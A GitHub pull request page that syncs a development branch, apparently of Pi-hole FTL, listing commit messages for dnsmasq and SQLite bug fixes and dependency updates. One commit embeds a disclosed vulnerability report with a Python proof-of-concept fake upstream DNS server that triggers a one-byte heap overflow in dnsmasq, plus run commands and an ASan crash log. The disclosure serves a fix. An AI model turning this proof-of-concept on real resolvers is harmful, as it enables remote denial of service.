Skip to content

Sync development into special/CI_development - #3034

Open
github-actions[bot] wants to merge 38 commits into
special/CI_developmentfrom
development
Open

Sync development into special/CI_development#3034
github-actions[bot] wants to merge 38 commits into
special/CI_developmentfrom
development

Conversation

@github-actions

Copy link
Copy Markdown

Created by Github action

simonkelley and others added 24 commits August 9, 2026 08:58
If blockdata_expand() fails, it frees the existing block chain
and returns zero. Each call to blockdata_expand() checks for the zero return,
and calls blockdata_free() as part of its clean-up, resulting in
a double-free and crash.

Thanks to fallrig for finding this.

Signed-off-by: DL6ER <dl6er@dl6er.de>
Implement the OT_DHCP6_VENDOR option type to properly handle the
DHCPv6 Vendor Class option (code 16) according to RFC 3315.

Previously, this option was marked as OT_INTERNAL, causing dnsmasq
to fail immediately if configured by name. Bypassing this block by
using the numerical option format (option6:16) caused the payload
to be formatted with an unintended string-length prefix. This broke
compliance because the RFC requires a fixed 4-byte Enterprise ID
at the beginning of the option, followed by data blocks.

This byte misalignment broke features like UEFI HTTP IPv6 Boot

This patch removes the OT_INTERNAL restriction and moves the formatting
logic to the parser phase, correctly assembling the wire-format layout
(4-byte ID + 2-byte chunk length + string) so it can be injected
directly into the network buffer.

Signed-off-by: Luiz Angelo Daros de Luca <luizluca@gmail.com>
Signed-off-by: DL6ER <dl6er@dl6er.de>
An oversight in commit f9f8d19bf5f636d2313b69399c3c24b89b53bee6
leaves a code path where a repeat of a query gets an error reply
which discloses the id field used in interactions with upstream
servers ro get an answer to the query. By triggering this
code path, an attacker can determine the id, which makes Kaminsky
cache poisoning attacks much less expensive and much more certain.

This bug exists in stable releases 2.91, 2.92 2.92rel2 and 2.93

Thanks to Ronen Shustin from Project Atlas, Wiz for finding
this problem.

Signed-off-by: DL6ER <dl6er@dl6er.de>
On further analysis, the problem is deeper: Other
error paths (which are not accessible to an attack) can also
return an incorrect header->id value, and most error paths
return incorrect query case if --do-0x20-encode is in use.

Signed-off-by: DL6ER <dl6er@dl6er.de>
Thanks to Metadust/Hamza (Github: @metadust)
for spotting this.

Signed-off-by: DL6ER <dl6er@dl6er.de>
Thi specifically avoids bad behavior with --log-facility=/dev/null

Signed-off-by: DL6ER <dl6er@dl6er.de>
The immediate motivation for this is to fix a potential
one byte buffer overflow. The rewrite to fix that resulted in
better code, but no other behavioural changes.

Thanks to Omkhar Arasaratnam for finding the overflow. His
report is below.
------------------------------------------------------------

Summary
-------

When packet dumping is enabled (--dumpfile / --dumpmask), dnsmasq writes one
byte past the end of the upstream-reply receive buffer whenever the reply it is
dumping has an odd byte length. do_dump_packet() pads the buffer for its
checksum computation with:

    if (len & 1)
      ((unsigned char *)packet)[len] = 0; /* for checksum, in case length is odd. */

packet here is the exact-sized receive buffer for the upstream reply, so index
[len] is one byte out of bounds. A malicious or compromised upstream nameserver
(or an on-path attacker able to spoof a UDP reply) that returns an odd-length
answer triggers the overflow on every dumped packet.

Affected code (built HEAD cf08eeee12b0f76a1259736c7795bfae82e08d2c)
-------------------------------------------------------------------

- Sink: src/dnsmasq/dump.c:243 — ((unsigned char *)packet)[len] = 0; in do_dump_packet()
- Reached via: dump_packet_udp() (src/dnsmasq/dump.c:120) <- reply_query()
  (src/dnsmasq/forward.c:1224) <- check_dns_listeners() <- main().

Class: CWE-787 out-of-bounds write (1 byte). Impact: ASan/hardened-alloc abort
(remote DoS of the resolver) and latent 1-byte heap corruption in release builds.
Precondition: dumpfile/dumpmask enabled.

Reproduction
------------

PoC: poc.py (minimal fake upstream that returns an odd-length, DNS-shaped reply).

    # Build at HEAD with dumpfile support + ASan
    make -j4 CFLAGS="-DHAVE_DUMPFILE -fsanitize=address -g -O1"
    export ASAN_OPTIONS=halt_on_error=1:abort_on_error=0:exitcode=99:detect_leaks=0

    python3 poc.py 2267 &          # odd length; 1497 also fires
    dnsmasq --no-daemon --port=5353 --listen-address=127.0.0.1 --bind-interfaces \
        --no-resolv --no-hosts --server=127.0.0.1#5354 \
        --dumpfile=/tmp/dump.pcap --dumpmask=0xffff
    # forward a query so the odd-length reply is dumped
    dig @127.0.0.1 -p 5353 victim.test +tries=1 +time=3

Evidence
--------

stdout.txt — verbatim ASan report captured 2026-07-02 at built HEAD cf08eeee:
WRITE of size 1 ... 0 bytes to the right of 2267-byte region ... in do_dump_packet
src/dnsmasq/dump.c:243:36, ==ABORTING.

Suggested fix
-------------

Do not write into packet[len]; compute the odd-byte checksum contribution from a
local copy of the final byte, or allocate the receive buffer one byte larger for
the dump path. Alternatively pad into a scratch buffer rather than mutating the
received packet in place.

---- PROOF-OF-CONCEPT: poc.py ----
import socket, struct, sys

PORT = 5354
TARGET_LEN = int(sys.argv[1]) if len(sys.argv) > 1 else 2267  # odd

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.bind(('127.0.0.1', PORT))
s.settimeout(8.0)
print(f"[upstream] listening UDP/{PORT}", flush=True)

while True:
    try:
        data, addr = s.recvfrom(8192)
    except socket.timeout:
        print("[upstream] timeout, exiting", flush=True)
        break
    if len(data) < 12:
        continue
    qid = data[:2]
    header = qid + struct.pack('!H', 0x8180) + struct.pack('!H', 1) + struct.pack('!H', 0) * 3
    # echo the question section
    i = 12
    while i < len(data) and data[i] != 0:
        i += 1 + data[i]
    end_q = i + 1 + 4 if i < len(data) else len(data)
    qsec = data[12:end_q]
    body = header + qsec
    pad = TARGET_LEN - len(body)
    body = body + b'\x00' * pad if pad >= 0 else body[:TARGET_LEN]
    s.sendto(body[:TARGET_LEN], addr)
    print(f"[upstream] sent {len(body[:TARGET_LEN])} bytes to {addr}", flush=True)
    break  # one-shot

---- CAPTURED OUTPUT (verbatim from the run) ----
Fresh verbatim capture 2026-07-02. Built HEAD cf08eeee12b0f76a1259736c7795bfae82e08d2c.
ASAN_OPTIONS=halt_on_error=1:abort_on_error=0:exitcode=99:detect_leaks=0
Only the build-tree prefix has been neutralized to <ROOT>; PIDs, addresses,
offsets, frame symbols, line numbers and shadow bytes are otherwise verbatim.

dnsmasq: started, version UNKNOWN cachesize 150
dnsmasq: compile time options: IPv6 GNU-getopt no-DBus no-UBus no-i18n no-IDN DHCP DHCPv6 no-Lua TFTP no-conntrack ipset no-nftset auth no-DNSSEC loop-detect inotify dumpfile
dnsmasq: using nameserver 127.0.0.1#5354
dnsmasq: cleared cache
dnsmasq: dumping packet 1 mask 0x0001
dnsmasq: dumping packet 2 mask 0x0004
=================================================================
==4200==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61d000001d5b at pc 0x55d1d877eb3e bp 0x7fff30d2ad90 sp 0x7fff30d2ad88
WRITE of size 1 at 0x61d000001d5b thread T0
    #0 0x55d1d877eb3d in do_dump_packet <ROOT>/src/dnsmasq/dump.c:243:36
    #1 0x55d1d877dc2d in dump_packet_udp <ROOT>/src/dnsmasq/dump.c:120:8
    #2 0x55d1d86f0533 in reply_query <ROOT>/src/dnsmasq/forward.c:1224:3
    #3 0x55d1d870d513 in check_dns_listeners <ROOT>/src/dnsmasq/dnsmasq.c
    #4 0x55d1d8709945 in main <ROOT>/src/dnsmasq/dnsmasq.c:1318:2
    #5 0x7fe839e29d8f  (/lib/x86_64-linux-gnu/libc.so.6+0x29d8f) (BuildId: 095c7ba148aeca81668091f718047078d57efddb)
    #6 0x7fe839e29e3f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x29e3f) (BuildId: 095c7ba148aeca81668091f718047078d57efddb)
    #7 0x55d1d85ee6d4 in _start (<ROOT>/src/dnsmasq/dnsmasq+0x586d4) (BuildId: 1a53a57dfe7ae24e2759b8529f3347380facb52b)

0x61d000001d5b is located 0 bytes to the right of 2267-byte region [0x61d000001480,0x61d000001d5b)
allocated by thread T0 here:
    #0 0x55d1d8671708 in __interceptor_calloc (<ROOT>/src/dnsmasq/dnsmasq+0xdb708) (BuildId: 1a53a57dfe7ae24e2759b8529f3347380facb52b)
    #1 0x55d1d86c95ad in safe_malloc <ROOT>/src/dnsmasq/util.c:321:15
    #2 0x7fe839e29d8f  (/lib/x86_64-linux-gnu/libc.so.6+0x29d8f) (BuildId: 095c7ba148aeca81668091f718047078d57efddb)

SUMMARY: AddressSanitizer: heap-buffer-overflow <ROOT>/src/dnsmasq/dump.c:243:36 in do_dump_packet
Shadow bytes around the buggy address:
  0x0c3a7fff8350: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c3a7fff8360: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c3a7fff8370: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c3a7fff8380: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c3a7fff8390: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c3a7fff83a0: 00 00 00 00 00 00 00 00 00 00 00[03]fa fa fa fa
  0x0c3a7fff83b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c3a7fff83c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c3a7fff83d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c3a7fff83e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c3a7fff83f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==4200==ABORTING

EXIT: ASan ==4200==ABORTING. heap-buffer-overflow WRITE of size 1, 0 bytes to the
right of the 2267-byte upstream-reply receive buffer. The odd-length (2267) reply
from the fake upstream drives do_dump_packet's odd-length checksum pad write at
src/dnsmasq/dump.c:243 (`((unsigned char *)packet)[len] = 0;`) one byte past the buffer.

Signed-off-by: DL6ER <dl6er@dl6er.de>
When dnsmasq forks a child to handle a TCP connection, the child
inherits copies of all listening sockets.  These are never used but
keep the underlying sockets alive in the kernel.  If a network
interface is removed and re-added while a child is running, the
parent's attempt to re-bind fails with EADDRINUSE because the child
still holds a reference.

Close all listener fds (UDP and TCP) in the child immediately after
fork in both do_tcp_connection() and swap_to_tcp().

[Original patch extended by Simon Kelley to include the TFTP listening
socket, and to extend the existing race-protection scheme for the
netlink socket to the listening sockets. Any bugs are my responsibility.]

Signed-off-by: DL6ER <dl6er@dl6er.de>
This may not be necessary, as the socket doesn't revieve broadcasts,
but it can't hurt.

Signed-off-by: DL6ER <dl6er@dl6er.de>
Signed-off-by: DL6ER <dl6er@dl6er.de>
Corrected spelling errors in comments and function names:
- recieved/receive -> received/receive
- error_occured -> error_occurred
- prefered -> preferred
- wierd -> weird
- datastuctures -> datastructures
- explictly -> explicitly
- ouptut -> output
- arrising -> arising
- encapulation -> encapsulation
- scrips -> scripts
- adn-hosts -> addn-hosts
- removed repeated 'the the' in three comments

Generated by AI (opencode).

Signed-off-by: DL6ER <dl6er@dl6er.de>
Historically, DHCPv4 client options are configured as

dhcp-option=option:ntp-server,....
dhcp-option=42,....

DHCPv6 long ago added

dhcp-option=option6:sntp-server,....
dhcp-option=option6:31,....

This patch adds equivalents of this for DHCPv4

dhcp-option=option4:ntp-server,....
dhcp-option=option4:42,.....

and for good measure

dhcp-option=option:42,.....

and clarifies the man page.

Thanks to Martin-Éric Racine for pointing this out.

Signed-off-by: DL6ER <dl6er@dl6er.de>
Signed-off-by: DL6ER <dl6er@dl6er.de>
Signed-off-by: DL6ER <dl6er@dl6er.de>
ESNI never saw real deployment. Cloudflare and Firefox rolled it out and
then moved on, and clients and servers use Encrypted Client Hello instead.
ECH is carried in the HTTPS record on the same RRname, so a blocked domain
is already covered without a dedicated option - which our own help text for
the key has said for a while.

This removes the key, the `_esni.` fallback lookup in `FTL_check_blocking()`
and the `BLOCK_ESNI` import from the pre-v6.0 config reader.

Removing a config key is only possible in a major release, hence v7.0. An
existing `pihole.toml` that still carries the key is not a problem: the
reader only iterates keys it knows, so the stale line is ignored and drops
out the next time the file is written.

The two API tests that used `dns.blockESNI` as a generic boolean subject now
use `dns.CNAMEdeepInspect`.

Signed-off-by: DL6ER <dl6er@dl6er.de>
The route was an alias of `/api/action/flush/network`, pointing at the same
handler, and has been marked `deprecated: true` in the OpenAPI spec with a
note to use the replacement instead.

Removing an API route is only possible in a major release, hence v7.0.
Callers still on the old path get a 404 and need to move to
`/api/action/flush/network`, which behaves identically.

Signed-off-by: DL6ER <dl6er@dl6er.de>
`SQL_bool()` returns from the calling function when a query fails, which is
wrong in both halves of this function. Between `lock_shm()` and its matching
`unlock_shm()` the hidden return leaves the SHM lock held for good, stalling
every thread that touches shared memory, and after the snapshot array has been
allocated it leaks it. The four transaction statements now go through
`dbquery()` with explicit cleanup, and a failed `END` rolls the transaction
back instead of leaving it open on the process-wide in-memory handle.

Signed-off-by: 010011110 <duckenheim@posteo.de>
The `JSON_*` macros return 500 from the calling function when a cJSON
allocation fails. Eleven of those uses sit between `lock_shm()` and
`unlock_shm()` in `api_history()`, `api_history_clients()`, `api_padd()` and
`api_stats_recentblocked()`, where the early return leaves the lock taken with
nothing left to release it, stalling every thread that touches shared memory.
Those sites now test the allocation themselves and release everything they own
on the way out: the lock, the partially built JSON tree and, in
`api_history_clients()`, the temporary client array.

The guard cannot live in the macros: they return from whichever function uses
them, which is not always the one holding the lock. `api_list_read()` is called
with the lock held by `api_list()`, so unlocking there would unlock twice.

`JSON_SEND_OBJECT_UNLOCK()` is removed, it has no users.

Signed-off-by: 010011110 <duckenheim@posteo.de>
`arp-scan` and `dhcp-discover` run one thread per interface and
`inet_ntoa()` hands every one of them the same static buffer.

Signed-off-by: DL6ER <dl6er@dl6er.de>
`strtok()` keeps its parser state in a static pointer shared by every
caller.

Signed-off-by: DL6ER <dl6er@dl6er.de>
`random()` is not seeded anywhere in FTL and is the wrong generator for an
identifier that should be hard to guess; `dhcp-discover`'s transaction ID
gets the same treatment. Drop the redundant one-second sleep in
`get_secure_randomness()`, as the blocking `getrandom()` it precedes
already waits exactly as long as needed.

Signed-off-by: DL6ER <dl6er@dl6er.de>
`gravityDB_open()` takes the busy handler off the gravity connection so that a
DNS lookup never waits for the database. The API write paths share that
connection, and `gravity_updated()` opens a second, read-only one every second
from the database thread. A `COMMIT` landing in that window has nowhere to
back off to and fails with "database is locked", so the edit is rolled back and
the request errors out.

Arm the handler for the duration of a write and take it off again afterwards.
Reads keep the behavior they have today.

The test holds a read transaction on `gravity.db` and writes through the API
while it is held, which fails without this change.

Signed-off-by: 010011110 <duckenheim@posteo.de>
Fix non-reentrant libc calls reachable from FTL's threads
@github-actions
github-actions Bot requested a review from a team as a code owner August 19, 2026 10:06
010011110 and others added 3 commits August 19, 2026 16:39
The four replacements always called `log_err()`, so a transient `SQLITE_BUSY`
came out as an error, which also trips the log check at the end of the test
suite. `memdb_exec()` restores the split: busy is a warning, everything else an
error.

Signed-off-by: 010011110 <duckenheim@posteo.de>
`sqlite3_busy_handler()` is a property of the connection, so arming it during a
write also let a DNS lookup on the shared connection wait. Open a connection for
the write instead, the way `gravity_updated()` already does for its read, and
leave the shared one exactly as it is.

The test now waits for the reader to signal that it holds the lock, and requires
the write to have taken measurably longer than a free one, so it cannot pass
without exercising the wait.

Signed-off-by: 010011110 <duckenheim@posteo.de>
Release the SHM lock and roll back on early returns
DL6ER and others added 11 commits August 19, 2026 18:45
let a write wait for the gravity database instead of failing
`sqlite3_close()` answers `SQLITE_BUSY` while a statement of that connection is
still alive, and then does nothing at all: the connection stays open with its
transaction and its file locks. We log that and drop the pointer anyway, so
nothing can release the database afterwards.

Finalize what the caller left behind, naming it as it is a bug either way, and
hand the connection over with `sqlite3_close_v2()`. No current path leaks a
statement here - the cached ones all belong to the in-memory and gravity
connections, which are closed elsewhere.

Signed-off-by: 010011110 <duckenheim@posteo.de>
The finalize loop makes `_dbclose()` destructive when it is handed a handle it
does not own. `get_row_count()` does exactly that: its prepare-failure path
closed unconditionally, so with `memory` set it passed `_memdb`. That was inert
while `sqlite3_close()` refused, but finalizing the statements `query-table.c`
caches there would leave those pointers dangling.

Guard that call site, and refuse the shared in-memory handle in `_dbclose()`
itself, as the call-site discipline has already failed once. `gravityDB_close()`
now also reports a refused close instead of dropping it silently.

Signed-off-by: 010011110 <duckenheim@posteo.de>
The wrappers around the gravity writes closed their connection with a bare
`sqlite3_close()`, which is the silent refusal this branch is about: the write
connection is the one that can hold an exclusive lock, so losing it is worse
there than anywhere else.

The finalize-and-hand-over part of `_dbclose()` moves into `dbclose_handle()`
and both use it now. `checkFTLDBrc()` stays in `_dbclose()`, a refused close on
gravity.db says nothing about the FTL database.

Signed-off-by: 010011110 <duckenheim@posteo.de>
`getMACVendor()` finalizes its statement first, so a refusal is unlikely there,
but it dropped the return value of `sqlite3_close()` like the other places this
branch fixes. Route both closes through `dbclose_handle()`.

Signed-off-by: 010011110 <duckenheim@posteo.de>
`gravityDB_close()` finalizes the six shared statements, but a table cursor
`gravityDB_readTable()` handed to an API thread can still be open - `api_search()`
holds one and takes no lock, so a reload during a search hits exactly that.
`sqlite3_close()` then refused and we dropped the connection with its 256 MiB
mmap, one per reload. `sqlite3_close_v2()` hands it over instead, so it goes
away once that cursor is finalized. `dbclose_handle()` would be wrong here, it
would finalize the cursor under the searching thread.

Also on the way out:

1. `gravityDB_open()` called `gravityDB_close()` when the open itself failed,
   which returns early while `gravityDB_opened` is false, leaking the handle and
   leaving `gravity_db` stale.
2. `getMACVendor()` handed a `macvendor.db` return code to `checkFTLDBrc()`, so
   a corrupt lookup file disabled `pihole-FTL.db` and logged that file as the
   damaged one.
3. `get_row_count()`'s doc block still described the connection handling this
   branch changed, and two comments needed the same.

Signed-off-by: 010011110 <duckenheim@posteo.de>
Remove `dns.blockESNI` and the deprecated `flush/arp` API route
Do not drop a database connection that refused to close
Update embedded dnsmasq to v2.93+16
…tory with 4 updates

Bumps the github_action-dependencies group with 4 updates in the / directory: [docker/setup-buildx-action](https://github.com/docker/setup-buildx-action), [github/codeql-action/init](https://github.com/github/codeql-action), [github/codeql-action/analyze](https://github.com/github/codeql-action) and [github/codeql-action/upload-sarif](https://github.com/github/codeql-action).


Updates `docker/setup-buildx-action` from 4.2.0 to 4.3.0
- [Release notes](https://github.com/docker/setup-buildx-action/releases)
- [Commits](docker/setup-buildx-action@bb05f3f...37fe631)

Updates `github/codeql-action/init` from 4.37.6 to 4.37.7
- [Release notes](https://github.com/github/codeql-action/releases)
- [Changelog](https://github.com/github/codeql-action/blob/main/CHANGELOG.md)
- [Commits](github/codeql-action@5595cca...ff2f1c6)

Updates `github/codeql-action/analyze` from 4.37.6 to 4.37.7
- [Release notes](https://github.com/github/codeql-action/releases)
- [Changelog](https://github.com/github/codeql-action/blob/main/CHANGELOG.md)
- [Commits](github/codeql-action@5595cca...ff2f1c6)

Updates `github/codeql-action/upload-sarif` from 4.37.6 to 4.37.7
- [Release notes](https://github.com/github/codeql-action/releases)
- [Changelog](https://github.com/github/codeql-action/blob/main/CHANGELOG.md)
- [Commits](github/codeql-action@5595cca...ff2f1c6)

---
updated-dependencies:
- dependency-name: docker/setup-buildx-action
  dependency-version: 4.3.0
  dependency-type: direct:production
  update-type: version-update:semver-minor
  dependency-group: github_action-dependencies
- dependency-name: github/codeql-action/init
  dependency-version: 4.37.7
  dependency-type: direct:production
  update-type: version-update:semver-patch
  dependency-group: github_action-dependencies
- dependency-name: github/codeql-action/analyze
  dependency-version: 4.37.7
  dependency-type: direct:production
  update-type: version-update:semver-patch
  dependency-group: github_action-dependencies
- dependency-name: github/codeql-action/upload-sarif
  dependency-version: 4.37.7
  dependency-type: direct:production
  update-type: version-update:semver-patch
  dependency-group: github_action-dependencies
...

Signed-off-by: dependabot[bot] <support@github.com>
…opment-github_action-dependencies-7e5b45565b

chore(deps): Bump the github_action-dependencies group across 1 directory with 4 updates
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

Projects

None yet

Development

Successfully merging this pull request may close these issues.

7 participants